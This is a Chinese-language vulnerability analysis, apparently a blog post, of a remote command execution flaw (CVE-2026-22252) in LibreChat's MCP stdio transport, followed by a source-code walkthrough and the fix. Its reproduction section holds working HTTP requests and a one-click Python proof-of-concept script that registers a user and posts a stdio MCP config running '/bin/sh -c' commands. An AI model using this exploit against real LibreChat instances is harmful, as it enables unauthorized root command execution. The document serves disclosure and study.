LibreChat MCP Stdio CVE-2026-22252远程代码执行漏洞分析

漏洞描述


LibreChat 是一个具有附加功能的 ChatGPT 克隆产品。在 v0.8.2-rc2 版本之前,LibreChat 的 MCP stdio 传输接受任意命令,而无需进行验证。这使得任何经过身份验证的用户都可以通过单个 API 请求在容器内部以 root 权限执行 shell 命令。这一漏洞已在 v0.8.2-rc2 版本中修复。


也是给到了 9.1 的评分

环境搭建


下载源码,docker 拉取就好啦

漏洞复现

其实现在很多 AI 类的应用都有这种漏洞,算是一种应用配置 MCP 的通杀吧,最近腾讯的一个 AI 应用也是这样的洞,如果能找个别的组件,应该也能够这样

注册用户

POST /api/auth/register HTTP/1.1
Host: localhost:3080
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
Content-Length: 139

{
    "name": "Test User",
    "email": "test@example.local",
    "password": "Password123!",
    "confirm_password": "Password123!",
    "username": "testuser"
  }

回显是正常的,然后我们去登录

POST /api/auth/login HTTP/1.1
Host: localhost:3080
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
Content-Length: 139

{"email":"test@example.local","password":"Password123!"}


得到 Token 后,我们就有权限创建 MCP 了吧

POST /api/mcp/servers HTTP/1.1
Host: localhost:3080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjYzYjM4NGY5YWU4YjQ1ZDk4ODAwOSIsInVzZXJuYW1lIjoidGVzdHVzZXIiLCJwcm92aWRlciI6ImxvY2FsIiwiZW1haWwiOiJ0ZXN0QGV4YW1wbGUubG9jYWwiLCJpYXQiOjE3NjgzMDc1NjAsImV4cCI6MTc2ODMwODQ2MH0.X43n8Vf_CVlRHpAWZv1HHiCLhQ__wcT4ODGxil4c2Hw
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
Content-Length: 139

{
    "config": {
      "type": "stdio",
      "title": "exploit server",
      "command": "/bin/sh",
      "args": ["-c", "id > /tmp/pwn.txt"]
    }
  }


回显显示失败,不过无所谓,因为命令已经执行了


一键利用脚本

#!/usr/bin/env python3
"""
LibreChat MCP Stdio Remote Command Execution PoC
GHSA-cxhj-j78r-p88f

使用方法:
1. 确保目标 LibreChat 实例运行在 http://localhost:3080
2. 运行脚本: python3 poc_librechat_mcp_rce.py
3. 脚本将注册用户、登录并触发漏洞
"""

import requests
import os

BASE_URL = "http://localhost:3080"

# 清理旧文件
for f in ['/tmp/pwned.txt']:
    if os.path.exists(f):
        os.remove(f)

print("=== LibreChat MCP RCE PoC ===\n")

# 步骤1: 注册用户
print("[1] 注册用户...")
register_data = {
    "name": "Test User",
    "email": "test2@example.local",
    "password": "Password123!",
    "confirm_password": "Password123!",
    "username": "testuser2"
}

try:
    response = requests.post(f"{BASE_URL}/api/auth/register", json=register_data)
    print(f"     注册响应: {response.status_code}")
except Exception as e:
    print(f"     用户可能已存在: {e}")

# 步骤2: 登录获取 token
print("\n[2] 登录获取 token...")
login_data = {
    "email": "test2@example.local",
    "password": "Password123!"
}

response = requests.post(f"{BASE_URL}/api/auth/login", json=login_data)
token = response.json()["token"]
print(f"     登录成功, token: {token[:25]}...")

# 步骤3: 触发漏洞
print("\n[3] 触发漏洞 - 创建恶意 MCP 服务器...")
exploit_headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
}

# 恶意 payload: 执行任意 shell 命令
exploit_payload = {
    "config": {
        "type": "stdio",
        "title": "MyServer",
        "command": "/bin/sh",
        "args": ["-c", "id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt && date >> /tmp/pwned.txt"]
    }
}

response = requests.post(
    f"{BASE_URL}/api/mcp/servers",
    json=exploit_payload,
    headers=exploit_headers
)

print(f"     漏洞触发响应: {response.status_code}")
print(f"     响应内容: {response.text[:150]}...")

# 步骤4: 文件读取验证
print("\n[4] 文件读取验证...")
if os.path.exists("/tmp/pwned.txt"):
    print("     ✅ /tmp/pwned.txt 已创建!")
    with open("/tmp/pwned.txt") as f:
        content = f.read()
    print(f"     文件内容:")
    print("     " + "-" * 40)
    for line in content.strip().split('\n'):
        print(f"     {line}")
    print("     " + "-" * 40)
    print("\n     ✅✅✅ 漏洞复现成功!任意命令执行确认!")
else:
    print("     ❌ /tmp/pwned.txt 未找到")



注册 429 是因为我注册太多次了

漏洞分析

数据流分析

用户输入 (HTTP POST /api/mcp/servers)
    ↓
MCPServerUserInputSchema 验证 (无命令白名单检查)
    ↓
MCPServersRegistry.addServer()
    ↓
MCPServerInspector.inspect()  ← 漏洞触发点
    ↓
MCPConnectionFactory.create()
    ↓
constructTransport()  ← 危险的 Sink 点
    ↓
StdioClientTransport 直接执行用户提供的 command

代码分析

入口点: 权限配置

文件: packages/data-provider/src/permissions.ts

export const mcpServersPermissionsSchema = z.object({
  [Permissions.USE]: z.boolean().default(true),
  [Permissions.CREATE]: z.boolean().default(true),  // ← 默认启用创建权限
  [Permissions.SHARE]: z.boolean().default(false),
});
export type TMcpServersPermissions = z.infer<typeof mcpServersPermissionsSchema>;


  • MCP 服务器创建权限 (CREATE) 默认对所有用户启用
  • 任何注册用户都可以创建 MCP 服务器

所以危害很大,因为开启了注册,然后低权限的用户也能够 RCE,不过从业务角度来讲吧,确实 MCP 就是给用户使用的,所以开启了也合理

所以更重要的是对参数的处理


API Schema: 无输入验证

文件: packages/data-provider/src/mcp.ts

export const StdioOptionsSchema = BaseOptionsSchema.extend({
  type: z.literal('stdio').optional(),
  /**
   * The executable to run to start the server.
   */
  command: z.string(),  // ← 接受任意字符串,无白名单验证
  /**
   * Command line arguments to pass to the executable.
   */
  args: z.array(z.string()),  // ← 接受任意参数数组
  // ...
});

export const MCPServerUserInputSchema = z.union([
  omitServerManagedFields(StdioOptionsSchema),  // ← 直接传递 stdio 配置
  // ...
]);
  • command 字段接受任意字符串,根本就没有做任何的验证
  • args 字段接受任意字符串数组

文件: packages/api/src/mcp/connection.ts

function constructTransport(options: t.MCPOptions): Transport {
  try:
    // ...
    switch (type) {
      case 'stdio':
        if (!isStdioOptions(options)) {
          throw new Error('Invalid options for stdio transport.');
        }
        // ← 直接使用用户提供的 command 和 args
        return new StdioClientTransport({
          command: options.command,  // ← 未经验证的命令
          args: options.args,        // ← 未经验证的参数
          env: { ...getDefaultEnvironment(), ...(options.env ?? {}) },
        });
      // ...
    }
  } catch (error) {
    this.emitError(error, 'Failed to construct transport');
    throw error;
  }
}


很明显,这里传的时候也没有任何检查

命令在检查时执行

文件: packages/api/src/mcp/registry/MCPServerInspector.ts

public static async inspect(
  serverName: string,
  rawConfig: t.MCPOptions,
  connection?: MCPConnection,
): Promise<t.ParsedServerConfig> {
  const start = Date.now();
  const inspector = new MCPServerInspector(serverName, rawConfig, connection);
  await inspector.inspectServer();  // ← 这里触发命令执行
  inspector.config.initDuration = Date.now() - start;
  return inspector.config;
}

private async inspectServer(): Promise<void> {
  await this.detectOAuth();

  if (this.config.startup !== false && !this.config.requiresOAuth) {
    let tempConnection = false;
    if (!this.connection) {
      tempConnection = true;
      // ← 创建连接时执行命令
      this.connection = await MCPConnectionFactory.create({
        serverName: this.serverName,
        serverConfig: this.config,
      });
    }

    await Promise.allSettled([
      this.fetchServerInstructions(),
      this.fetchServerCapabilities(),
      this.fetchToolFunctions(),
    ]);

    if (tempConnection) await this.connection.disconnect();
  }
}


inspectServer() 方法在 MCP 服务器创建时被调用,然后接着,MCPConnectionFactory.create() 创建连接,触发命令执行,而且即使后续连接失败,命令已经执行,这也是我们为什么只需要传入正确的命令执行参数,即使回显


{"error":"MCP_INSPECTION_FAILED","message":"MCP_INSPECTION_FAILED: Failed to connect to MCP server \"temp_server_name\""}****

但是也能够成功执行命令的原因

文件: packages/api/src/mcp/registry/MCPServersRegistry.ts

public async addServer(
  serverName: string,
  config: t.MCPOptions,
  storageLocation: 'CACHE' | 'DB',
  userId?: string,
): Promise<t.AddServerResult> {
  const configRepo = this.getConfigRepository(storageLocation);
  let parsedConfig: t.ParsedServerConfig;
  try {
    // ← 调用 inspect,触发命令执行
    parsedConfig = await MCPServerInspector.inspect(serverName, config);
  } catch (error) {
    logger.error(`[MCPServersRegistry] Failed to inspect server "${serverName}":`, error);
    throw new Error(`MCP_INSPECTION_FAILED: Failed to connect to MCP server "${serverName}"`);
  }
  return await configRepo.add(serverName, parsedConfig, userId);
}


在保存配置之前调用 inspect(),而且命令在检查期间执行,发生在任何错误之前

漏洞修复

在 Schema 层面禁止用户通过 API 创建 stdio 类型 MCP 服务器


参考资料

免责声明

本漏洞分析报告仅用于安全研究和教育目的。请勿将此信息用于未经授权的系统测试。负责任地披露安全漏洞有助于保护用户和改进软件安全性。